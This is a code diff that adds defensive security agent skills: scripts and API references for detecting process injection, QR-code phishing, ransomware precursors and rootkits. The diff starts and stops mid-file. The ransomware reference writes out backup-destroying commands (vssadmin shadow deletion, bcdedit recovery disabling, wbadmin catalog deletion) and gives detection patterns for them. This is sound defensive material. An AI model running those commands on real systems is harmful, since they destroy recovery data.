"PROCESS_CREATE_THREAD" in xml: + injection_events.append({ + "event_id": 10, + "type": "ProcessAccess (injection prep)", + "timestamp": record.timestamp().isoformat(), + "snippet": xml[:500], + }) + except Exception: + continue + + return {"injection_events": len(injection_events), "events": injection_events[:50]} + + +def detect_rwx_memory_regions(): + """Detect processes with suspicious RWX memory regions (Windows).""" + ps_cmd = ( + "Get-Process | ForEach-Object { " + "$p = $_; " + "try { " + "$modules = $p.Modules | Select-Object -First 1; " + "[PSCustomObject]@{Name=$p.ProcessName; PID=$p.Id; WorkingSet=$p.WorkingSet64} " + "} catch {} } | ConvertTo-Json" + ) + try: + result = subprocess.run( + ["powershell", "-Command", ps_cmd], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return {"error": result.stderr.strip()} + except Exception as e: + return {"error": str(e)} + + +def check_unusual_parent_child(): + """Detect unusual parent-child process relationships.""" + suspicious_combos = [ + ("svchost.exe", "cmd.exe"), + ("svchost.exe", "powershell.exe"), + ("explorer.exe", "cmd.exe"), + ("winword.exe", "powershell.exe"), + ("winword.exe", "cmd.exe"), + ("excel.exe", "powershell.exe"), + ("outlook.exe", "powershell.exe"), + ] + ps_cmd = ( + "Get-WmiObject Win32_Process | Select-Object ProcessId, Name, ParentProcessId | " + "ConvertTo-Json" + ) + try: + result = subprocess.run( + ["powershell", "-Command", ps_cmd], + capture_output=True, text=True, timeout=15 + ) + if result.returncode != 0: + return {"error": result.stderr.strip()} + processes = json.loads(result.stdout) + if not isinstance(processes, list): + processes = [processes] + + pid_map = {p["ProcessId"]: p["Name"] for p in processes} + suspicious = [] + for proc in processes: + parent_name = pid_map.get(proc.get("ParentProcessId"), "").lower() + child_name = (proc.get("Name") or "").lower() + for p, c in suspicious_combos: + if parent_name == p.lower() and child_name == c.lower(): + suspicious.append({ + "parent": parent_name, + "child": child_name, + "child_pid": proc["ProcessId"], + "risk": "HIGH", + }) + return {"suspicious_relationships": suspicious, "count": len(suspicious)} + except Exception as e: + return {"error": str(e)} + + +def generate_report(memory_dump=None, sysmon_evtx=None): + """Generate process injection detection report.""" + report = { + "timestamp": datetime.utcnow().isoformat() + "Z", + "techniques_catalog": {k: v["description"] for k, v in INJECTION_TECHNIQUES.items()}, + } + if memory_dump: + report["malfind"] = run_volatility_malfind(memory_dump) + if sysmon_evtx: + report["sysmon_injection"] = scan_sysmon_injection_events(sysmon_evtx) + report["parent_child_anomalies"] = check_unusual_parent_child() + return report + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "help" + if action == "malfind" and len(sys.argv) > 2: + pid = int(sys.argv[3]) if len(sys.argv) > 3 else None + print(json.dumps(run_volatility_malfind(sys.argv[2], pid), indent=2, default=str)) + elif action == "sysmon" and len(sys.argv) > 2: + print(json.dumps(scan_sysmon_injection_events(sys.argv[2]), indent=2, default=str)) + elif action == "parent-child": + print(json.dumps(check_unusual_parent_child(), indent=2)) + elif action == "report": + mem = sys.argv[2] if len(sys.argv) > 2 else None + sysmon = sys.argv[3] if len(sys.argv) > 3 else None + print(json.dumps(generate_report(mem, sysmon), indent=2, default=str)) + else: + print("Usage: agent.py [malfind [pid]|sysmon |parent-child|report [mem] [sysmon]]") diff --git a/skills/detecting-qr-code-phishing-with-email-security/LICENSE b/skills/detecting-qr-code-phishing-with-email-security/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-qr-code-phishing-with-email-security/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md b/skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md new file mode 100644 index 00000000..d9212bab --- /dev/null +++ b/skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md @@ -0,0 +1,101 @@ +# API Reference: QR Code Phishing Detection + +## pyzbar — QR/Barcode Decoding + +### Installation +```bash +pip install pyzbar Pillow +# On Linux: apt-get install libzbar0 +``` + +### Core Functions +```python +from pyzbar.pyzbar import decode +from PIL import Image + +results = decode(Image.open("qr.png")) +for r in results: + print(r.type) # "QRCODE" + print(r.data) # b"https://..." + print(r.rect) # Rect(left=40, top=40, width=200, height=200) +``` + +### Decoded Object Attributes +| Attribute | Type | Description | +|-----------|------|-------------| +| `data` | bytes | Decoded content | +| `type` | str | Barcode type (QRCODE, EAN13, etc.) | +| `rect` | Rect | Bounding rectangle | +| `polygon` | list | Corner points | +| `quality` | int | Decode quality score | + +## Python email Module — EML Parsing + +### Parsing an EML file +```python +import email +from email import policy + +with open("message.eml", "rb") as f: + msg = email.message_from_binary_file(f, policy=policy.default) + +subject = msg["Subject"] +sender = msg["From"] +``` + +### Walking MIME Parts +```python +for part in msg.walk(): + ctype = part.get_content_type() + if ctype.startswith("image/"): + payload = part.get_payload(decode=True) + filename = part.get_filename() +``` + +## URL Analysis Indicators + +### Suspicious TLD List +`.xyz`, `.top`, `.club`, `.work`, `.buzz`, `.tk`, `.ml`, `.ga`, `.cf`, `.gq` + +### Phishing URL Patterns +| Pattern | Risk | +|---------|------| +| IP address in domain | High | +| Domain > 40 chars | Medium | +| HTTP (no TLS) | Medium | +| 3+ subdomains | Medium | +| URL shortener | High | +| Base64 in path | High | + +## Microsoft Defender for Office 365 — Safe Links API + +### Check URL reputation +```http +POST https://graph.microsoft.com/v1.0/security/tiIndicators +Content-Type: application/json +Authorization: Bearer {token} + +{ + "targetProduct": "Azure Sentinel", + "threatType": "Phishing", + "url": "https://suspicious-domain.xyz/login" +} +``` + +## VirusTotal URL Scan API + +### Submit URL +```http +POST https://www.virustotal.com/api/v3/urls +x-apikey: {API_KEY} +Content-Type: application/x-www-form-urlencoded + +url=https://suspicious-domain.xyz +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `data.attributes.last_analysis_stats.malicious` | Engines flagging as malicious | +| `data.attributes.last_analysis_stats.harmless` | Engines flagging as clean | +| `data.attributes.categories` | URL categorization | diff --git a/skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py b/skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py new file mode 100644 index 00000000..15f6c8d6 --- /dev/null +++ b/skills/detecting-qr-code-phishing-with-email-security/scripts/agent.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python3 +"""Agent for detecting QR code phishing (quishing) in email attachments and bodies.""" + +import argparse +import base64 +import email +import hashlib +import json +import os +import re +import sys +from datetime import datetime, timezone +from email import policy +from urllib.parse import urlparse + +try: + from PIL import Image + from pyzbar.pyzbar import decode as qr_decode + HAS_QR = True +except ImportError: + HAS_QR = False + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +SUSPICIOUS_TLDS = { + ".xyz", ".top", ".club", ".work", ".buzz", ".tk", ".ml", ".ga", ".cf", + ".gq", ".info", ".online", ".site", ".icu", +} + +PHISHING_KEYWORDS = [ + "verify", "account", "suspended", "confirm", "urgent", "expire", + "password", "login", "credential", "security", "update", "click", + "immediate", "unauthorized", "invoice", +] + + +def extract_images_from_eml(eml_path): + """Extract image attachments and inline images from an .eml file.""" + images = [] + with open(eml_path, "rb") as f: + msg = email.message_from_binary_file(f, policy=policy.default) + for part in msg.walk(): + content_type = part.get_content_type() + if content_type.startswith("image/"): + payload = part.get_payload(decode=True) + if payload: + ext = content_type.split("/")[1].split(";")[0] + fname = part.get_filename() or f"inline_image.{ext}" + images.append({"filename": fname, "data": payload, "type": content_type}) + return images, msg + + +def decode_qr_from_bytes(image_data): + """Decode QR codes from raw image bytes.""" + if not HAS_QR: + return [] + import io + img = Image.open(io.BytesIO(image_data)) + results = qr_decode(img) + return [r.data.decode("utf-8", errors="replace") for r in results] + + +def analyze_url(url): + """Score a URL for phishing risk indicators.""" + indicators = [] + parsed = urlparse(url) + domain = parsed.netloc.lower() + + for tld in SUSPICIOUS_TLDS: + if domain.endswith(tld): + indicators.append(f"Suspicious TLD: {tld}") + break + + if re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", domain): + indicators.append("URL uses IP address instead of domain") + + if len(domain) > 40: + indicators.append(f"Unusually long domain: {len(domain)} chars") + + if domain.count(".") > 3: + indicators.append(f"Many subdomains: {domain.count('.')} dots") + + if parsed.scheme == "http": + indicators.append("Uses HTTP instead of HTTPS") + + path = parsed.path + (parsed.query or "") + for kw in PHISHING_KEYWORDS: + if kw in path.lower(): + indicators.append(f"Phishing keyword in URL path: '{kw}'") + break + + return { + "url": url, + "domain": domain, + "indicators": indicators, + "risk_score": min(len(indicators) * 25, 100), + } + + +def analyze_email(eml_path): + """Full QR phishing analysis of an email file.""" + results = { + "file": eml_path, + "timestamp": datetime.now(timezone.utc).isoformat(), + "images_found": 0, + "qr_codes_found": 0, + "urls_extracted": [], + "phishing_indicators": [], + "risk_level": "LOW", + } + + images, msg = extract_images_from_eml(eml_path) + results["images_found"] = len(images) + results["subject"] = msg.get("Subject", "") + results["from"] = msg.get("From", "") + + subject_lower = results["subject"].lower() + for kw in PHISHING_KEYWORDS: + if kw in subject_lower: + results["phishing_indicators"].append(f"Phishing keyword in subject: '{kw}'") + + all_urls = [] + for img_info in images: + decoded = decode_qr_from_bytes(img_info["data"]) + for url in decoded: + if url.startswith(("http://", "https://")): + analysis = analyze_url(url) + all_urls.append(analysis) + + results["qr_codes_found"] = len(all_urls) + results["urls_extracted"] = all_urls + + max_risk = max((u["risk_score"] for u in all_urls), default=0) + if max_risk >= 75: + results["risk_level"] = "CRITICAL" + elif max_risk >= 50: + results["risk_level"] = "HIGH" + elif max_risk >= 25: + results["risk_level"] = "MEDIUM" + + return results + + +def scan_directory(dir_path): + """Scan a directory for .eml files and analyze each.""" + all_results = [] + for root, _, files in os.walk(dir_path): + for fname in files: + if fname.lower().endswith(".eml"): + fpath = os.path.join(root, fname) + result = analyze_email(fpath) + all_results.append(result) + return all_results + + +def main(): + parser = argparse.ArgumentParser( + description="Detect QR code phishing (quishing) in emails" + ) + parser.add_argument("input", help="Path to .eml file or directory of .eml files") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] QR Code Phishing Detection Agent") + print(f"[*] QR decoding available: {HAS_QR}") + + if os.path.isdir(args.input): + results = scan_directory(args.input) + else: + results = [analyze_email(args.input)] + + report = { + "scan_time": datetime.now(timezone.utc).isoformat(), + "files_scanned": len(results), + "qr_phishing_detected": sum(1 for r in results if r["risk_level"] in ("HIGH", "CRITICAL")), + "results": results, + } + + if args.verbose: + for r in results: + print(f"\n File: {r['file']}") + print(f" Subject: {r.get('subject', 'N/A')}") + print(f" Images: {r['images_found']}, QR codes: {r['qr_codes_found']}") + print(f" Risk: {r['risk_level']}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-ransomware-precursors-in-network/LICENSE b/skills/detecting-ransomware-precursors-in-network/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-ransomware-precursors-in-network/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-ransomware-precursors-in-network/references/api-reference.md b/skills/detecting-ransomware-precursors-in-network/references/api-reference.md new file mode 100644 index 00000000..c47414fa --- /dev/null +++ b/skills/detecting-ransomware-precursors-in-network/references/api-reference.md @@ -0,0 +1,87 @@ +# API Reference: Ransomware Precursor Detection + +## Zeek (Bro) conn.log Fields + +### Tab-separated Fields +| Index | Field | Description | +|-------|-------|-------------| +| 0 | ts | Timestamp | +| 1 | uid | Connection UID | +| 2 | id.orig_h | Source IP | +| 3 | id.orig_p | Source port | +| 4 | id.resp_h | Destination IP | +| 5 | id.resp_p | Destination port | +| 6 | proto | Protocol (tcp/udp) | +| 7 | service | Detected service | +| 8 | duration | Connection duration | +| 9 | orig_bytes | Bytes from originator | +| 10 | resp_bytes | Bytes from responder | + +## Ransomware-Associated Network Indicators + +### Ports +| Port | Service | Risk | +|------|---------|------| +| 445 | SMB | Lateral movement, EternalBlue | +| 3389 | RDP | Brute force, initial access | +| 4444 | Metasploit default | C2 callback | +| 135 | RPC | WMI lateral movement | +| 5985/5986 | WinRM | Remote execution | + +## Windows Event Log IDs + +### Security Log +| Event ID | Description | +|----------|-------------| +| 4625 | Failed logon (brute force indicator) | +| 4624 | Successful logon (type 3 = network) | +| 4648 | Explicit credential logon | +| 4672 | Special privileges assigned | + +### System Log +| Event ID | Description | +|----------|-------------| +| 7036 | Service state change (VSS) | +| 7045 | New service installed | + +### PowerShell Operational Log +| Event ID | Description | +|----------|-------------| +| 4104 | Script block logging | +| 4103 | Module logging | + +## Shadow Copy Deletion Commands +``` +vssadmin delete shadows /all /quiet +wmic shadowcopy delete +bcdedit /set {default} recoveryenabled no +bcdedit /set {default} bootstatuspolicy ignoreallfailures +wbadmin delete catalog -quiet +``` + +## Suricata Rules for Ransomware Detection +``` +alert smb any any -> $HOME_NET 445 (msg:"ET EXPLOIT EternalBlue"; + content:"|ff|SMB|73|"; sid:2024217; rev:3;) + +alert tcp $HOME_NET any -> any 443 (msg:"Ransomware C2 beacon"; + flow:established,to_server; content:"POST"; + pcre:"/\/[a-z]{4,8}\/[a-f0-9]{32}/i"; sid:9000001;) +``` + +## CrowdStrike Falcon API — IOC Search +```http +GET https://api.crowdstrike.com/indicators/queries/iocs/v1 +Authorization: Bearer {token} +Content-Type: application/json + +?types=domain&values=malicious-domain.com +``` + +### Response +```json +{ + "resources": ["indicator_id_1"], + "meta": {"query_time": 0.005} +} +``` diff --git a/skills/detecting-ransomware-precursors-in-network/scripts/agent.py b/skills/detecting-ransomware-precursors-in-network/scripts/agent.py new file mode 100644 index 00000000..b6488d4b --- /dev/null +++ b/skills/detecting-ransomware-precursors-in-network/scripts/agent.py @@ -0,0 +1,190 @@ +#!/usr/bin/env python3 +"""Agent for detecting ransomware precursor activity in network traffic and logs.""" + +import argparse +import json +import os +import re +import subprocess +import sys +from datetime import datetime, timezone + + +RANSOMWARE_PORTS = {445, 3389, 4444, 5985, 5986, 135, 139, 8443} +SUSPICIOUS_PROCESSES = [ + "vssadmin.exe", "wmic.exe", "bcdedit.exe", "wbadmin.exe", + "powershell.exe", "cmd.exe", "certutil.exe", "bitsadmin.exe", + "mshta.exe", "rundll32.exe", "regsvr32.exe", "cscript.exe", +] +SHADOW_COPY_PATTERNS = [ + r"vssadmin\s+delete\s+shadows", + r"wmic\s+shadowcopy\s+delete", + r"bcdedit.*recoveryenabled.*no", + r"wbadmin\s+delete\s+(catalog|systemstatebackup)", +] +SMB_LATERAL_PATTERNS = [ + r"\\\\[\d\.]+\\(C\$|ADMIN\$|IPC\$)", + r"psexec", + r"wmiexec", +] + + +def parse_zeek_conn_log(log_path): + """Parse Zeek conn.log for suspicious network connections.""" + alerts = [] + try: + with open(log_path, "r") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + if len(fields) < 7: + continue + src_ip, src_port, dst_ip, dst_port = fields[2], fields[3], fields[4], fields[5] + try: + dp = int(dst_port) + except ValueError: + continue + if dp in RANSOMWARE_PORTS: + alerts.append({ + "type": "suspicious_port", + "src": src_ip, + "dst": dst_ip, + "port": dp, + "detail": f"Connection to ransomware-associated port {dp}", + }) + except FileNotFoundError: + print(f"[!] Log file not found: {log_path}") + return alerts + + +def analyze_event_logs_windows(): + """Check Windows event logs for ransomware precursors.""" + alerts = [] + queries = [ + ("Shadow copy deletion", "Get-WinEvent -FilterHashtable @{LogName='System';Id=7036} " + "| Where-Object {$_.Message -match 'Volume Shadow Copy'} | Select-Object -First 10 " + "| ConvertTo-Json"), + ("RDP brute force", "Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} " + "| Select-Object -First 20 | Group-Object {$_.Properties[5].Value} " + "| Where-Object {$_.Count -gt 5} | ConvertTo-Json"), + ("Service installs", "Get-WinEvent -FilterHashtable @{LogName='System';Id=7045} " + "| Select-Object -First 10 | ConvertTo-Json"), + ] + for name, ps_cmd in queries: + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + if result.strip(): + data = json.loads(result) if result.strip().startswith(("[", "{")) else result + alerts.append({"check": name, "findings": data}) + except (subprocess.SubprocessError, json.JSONDecodeError): + pass + return alerts + + +def scan_process_list(): + """Check running processes for ransomware tooling.""" + suspicious = [] + if sys.platform == "win32": + try: + out = subprocess.check_output( + ["tasklist", "/FO", "CSV", "/NH"], text=True, errors="replace" + ) + for line in out.splitlines(): + parts = line.strip('"').split('","') + if parts: + pname = parts[0].lower() + for sp in SUSPICIOUS_PROCESSES: + if pname == sp.lower(): + suspicious.append({"process": pname, "pid": parts[1] if len(parts) > 1 else "?"}) + except subprocess.SubprocessError: + pass + else: + try: + out = subprocess.check_output(["ps", "-eo", "pid,comm", "--no-headers"], text=True) + for line in out.splitlines(): + parts = line.split(None, 1) + if len(parts) == 2: + for sp in SUSPICIOUS_PROCESSES: + if parts[1].strip().lower() == sp.replace(".exe", ""): + suspicious.append({"process": parts[1].strip(), "pid": parts[0]}) + except subprocess.SubprocessError: + pass + return suspicious + + +def check_file_encryption_activity(directory, threshold=50): + """Detect mass file renaming or new encrypted extensions.""" + suspicious_exts = {".encrypted", ".locked", ".crypto", ".crypt", ".enc", + ".locky", ".cerber", ".zepto", ".thor", ".aaa"} + findings = [] + count = 0 + try: + for root, _, files in os.walk(directory): + for f in files: + ext = os.path.splitext(f)[1].lower() + if ext in suspicious_exts: + count += 1 + if count <= 10: + findings.append(os.path.join(root, f)) + if count >= threshold: + break + except PermissionError: + pass + return {"encrypted_file_count": count, "samples": findings, "threshold_exceeded": count >= threshold} + + +def main(): + parser = argparse.ArgumentParser( + description="Detect ransomware precursor activity in network and host" + ) + parser.add_argument("--conn-log", help="Path to Zeek conn.log") + parser.add_argument("--scan-dir", help="Directory to scan for encrypted files") + parser.add_argument("--check-processes", action="store_true", help="Scan running processes") + parser.add_argument("--windows-logs", action="store_true", help="Check Windows event logs") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] Ransomware Precursor Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.conn_log: + alerts = parse_zeek_conn_log(args.conn_log) + report["findings"]["network"] = alerts + print(f"[*] Network alerts: {len(alerts)}") + + if args.check_processes: + procs = scan_process_list() + report["findings"]["suspicious_processes"] = procs + print(f"[*] Suspicious processes: {len(procs)}") + + if args.windows_logs and sys.platform == "win32": + events = analyze_event_logs_windows() + report["findings"]["windows_events"] = events + print(f"[*] Windows event findings: {len(events)}") + + if args.scan_dir: + enc = check_file_encryption_activity(args.scan_dir) + report["findings"]["encryption_activity"] = enc + print(f"[*] Encrypted files found: {enc['encrypted_file_count']}") + + total = sum( + len(v) if isinstance(v, list) else (1 if isinstance(v, dict) and v.get("threshold_exceeded") else 0) + for v in report["findings"].values() + ) + report["risk_level"] = "CRITICAL" if total >= 10 else "HIGH" if total >= 5 else "MEDIUM" if total > 0 else "LOW" + print(f"[*] Overall risk: {report['risk_level']}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-rootkit-activity/LICENSE b/skills/detecting-rootkit-activity/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-rootkit-activity/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-rootkit-activity/references/api-reference.md b/skills/detecting-rootkit-activity/references/api-reference.md new file mode 100644 index 00000000..4472c3c3 --- /dev/null +++ b/skills/detecting-rootkit-activity/references/api-reference.md @@ -0,0 +1,87 @@ +# Rootkit Detection API Reference + +## Volatility 3 - Rootkit Analysis Plugins + +```bash +# Process enumeration - compare for hidden processes +vol3 -f memory.dmp windows.pslist # EPROCESS linked list (rootkit-manipulable) +vol3 -f memory.dmp windows.psscan # Pool tag scanning (rootkit-resistant) + +# SSDT hook detection +vol3 -f memory.dmp windows.ssdt + +# Kernel module listing +vol3 -f memory.dmp windows.modules +vol3 -f memory.dmp windows.modscan # Scan for hidden modules + +# Driver IRP hook detection +vol3 -f memory.dmp windows.driverirp + +# Callback enumeration +vol3 -f memory.dmp windows.callbacks + +# IDT (Interrupt Descriptor Table) check +vol3 -f memory.dmp windows.idt + +# Injected code detection +vol3 -f memory.dmp windows.malfind +``` + +## Cross-View Detection Method + +``` +Step 1: Enumerate with pslist (uses EPROCESS ActiveProcessLinks) +Step 2: Enumerate with psscan (scans pool tags in physical memory) +Step 3: Compare PID sets +Step 4: PIDs in psscan but NOT in pslist = hidden by DKOM rootkit +``` + +## Linux Rootkit Detection Tools + +```bash +# rkhunter +rkhunter --update # Update signatures +rkhunter --check --skip-keypress # Full scan +rkhunter --check --report-warnings-only # Warnings only + +# chkrootkit +chkrootkit # Full scan +chkrootkit -q # Quiet (only infected) + +# Unhide (process and port hiding detection) +unhide proc # Compare /proc, ps, syscall enumeration +unhide sys # System call brute force +unhide-tcp # Hidden TCP/UDP ports +``` + +## Rootkit Types + +| Type | Hides In | Detection Method | +|------|----------|-----------------| +| User-mode | LD_PRELOAD, IAT hooks | Cross-view, strace | +| Kernel-mode | DKOM, SSDT hooks | Memory forensics | +| Bootkits | MBR/VBR/UEFI | Firmware integrity | +| Hypervisor | Below OS | Timing analysis | + +## DKOM (Direct Kernel Object Manipulation) + +``` +Rootkit unlinking technique: +EPROCESS(prev).Flink -> EPROCESS(hidden).Flink (skip hidden) +EPROCESS(next).Blink -> EPROCESS(hidden).Blink (skip hidden) + +Process disappears from pslist but remains in physical memory (psscan finds it) +``` + +## Memory Acquisition + +```bash +# Windows - WinPmem +winpmem_mini_x64.exe memdump.raw + +# Linux - LiME +insmod lime.ko "path=/tmp/memory.lime format=lime" + +# Linux - /proc/kcore +dd if=/proc/kcore of=/evidence/memory.raw bs=1M +``` diff --git a/skills/detecting-rootkit-activity/scripts/agent.py b/skills/detecting-rootkit-activity/scripts/agent.py new file mode 100644 index 00000000..cfd1927a --- /dev/null +++ b/skills/detecting-rootkit-activity/scripts/agent.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python3 +"""Rootkit detection agent using cross-view analysis and integrity checking.""" + +import json +import os +import subprocess +import sys +from datetime import datetime + + +def run_volatility_pslist(memory_dump): + """List processes using ActiveProcessLinks (EPROCESS linked list).""" + cmd = ["vol3", "-f", memory_dump, "windows.pslist"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + processes = [] + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 4 and parts[0].isdigit(): + processes.append({"pid": int(parts[0]), "ppid": int(parts[1]), + "name": parts[2], "threads": parts[3] if len(parts) > 3 else ""}) + return {"method": "pslist", "count": len(processes), "processes": processes} + except FileNotFoundError: + return {"error": "Volatility 3 not installed"} + except subprocess.TimeoutExpired: + return {"error": "Timed out"} + + +def run_volatility_psscan(memory_dump): + """Scan physical memory for EPROCESS pool tags (rootkit-resistant).""" + cmd = ["vol3", "-f", memory_dump, "windows.psscan"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + processes = [] + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 4 and parts[0].startswith("0x"): + processes.append({"offset": parts[0], "pid": parts[1], + "ppid": parts[2] if len(parts) > 2 else "", + "name": parts[3] if len(parts) > 3 else ""}) + return {"method": "psscan", "count": len(processes), "processes": processes} + except FileNotFoundError: + return {"error": "Volatility 3 not installed"} + except subprocess.TimeoutExpired: + return {"error": "Timed out"} + + +def cross_view_detection(memory_dump): + """Compare pslist vs psscan to find hidden processes (DKOM rootkits).""" + pslist = run_volatility_pslist(memory_dump) + psscan = run_volatility_psscan(memory_dump) + + if "error" in pslist or "error" in psscan: + return {"error": "Could not complete cross-view analysis", + "pslist": pslist, "psscan": psscan} + + pslist_pids = set(str(p["pid"]) for p in pslist.get("processes", [])) + psscan_pids = set(str(p.get("pid", "")) for p in psscan.get("processes", [])) + + hidden = psscan_pids - pslist_pids + hidden_processes = [ + p for p in psscan.get("processes", []) + if str(p.get("pid", "")) in hidden + ] + + return { + "pslist_count": len(pslist_pids), + "psscan_count": len(psscan_pids), + "hidden_processes": hidden_processes, + "hidden_count": len(hidden_processes), + "alert": "ROOTKIT DETECTED - Hidden processes found" if hidden_processes else "No hidden processes detected", + } + + +def check_ssdt_hooks(memory_dump): + """Check for SSDT (System Service Descriptor Table) hooks.""" + cmd = ["vol3", "-f", memory_dump, "windows.ssdt"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + hooks = [] + for line in result.stdout.splitlines(): + if "UNKNOWN" in line.upper() or line.count("\\") == 0: + parts = line.split() + if len(parts) >= 3: + hooks.append({"entry": " ".join(parts)}) + return {"ssdt_hooks": hooks, "count": len(hooks)} + except FileNotFoundError: + return {"error": "Volatility 3 not installed"} + except subprocess.TimeoutExpired: + return {"error": "Timed out"} + + +def check_kernel_modules(memory_dump): + """List loaded kernel modules and detect unsigned/suspicious ones.""" + cmd = ["vol3", "-f", memory_dump, "windows.modules"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + modules = [] + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 3 and parts[0].startswith("0x"): + modules.append({"base": parts[0], "size": parts[1], + "name": parts[2] if len(parts) > 2 else ""}) + return {"modules": modules, "count": len(modules)} + except FileNotFoundError: + return {"error": "Volatility 3 not installed"} + except subprocess.TimeoutExpired: + return {"error": "Timed out"} + + +def run_rkhunter(): + """Run rkhunter for Linux rootkit detection.""" + try: + result = subprocess.run( + ["rkhunter", "--check", "--skip-keypress", "--report-warnings-only"], + capture_output=True, text=True, timeout=120 + ) + warnings = [line.strip() for line in result.stdout.splitlines() if "Warning" in line] + return { + "tool": "rkhunter", + "warnings": warnings, + "warning_count": len(warnings), + "exit_code": result.returncode, + } + except FileNotFoundError: + return {"error": "rkhunter not installed (apt install rkhunter)"} + except subprocess.TimeoutExpired: + return {"error": "rkhunter timed out"} + + +def run_chkrootkit(): + """Run chkrootkit for Linux rootkit detection.""" + try: + result = subprocess.run( + ["chkrootkit", "-q"], capture_output=True, text=True, timeout=120 + ) + infected = [line.strip() for line in result.stdout.splitlines() + if "INFECTED" in line.upper()] + return { + "tool": "chkrootkit", + "infected": infected, + "infected_count": len(infected), + "exit_code": result.returncode, + } + except FileNotFoundError: + return {"error": "chkrootkit not installed (apt install chkrootkit)"} + except 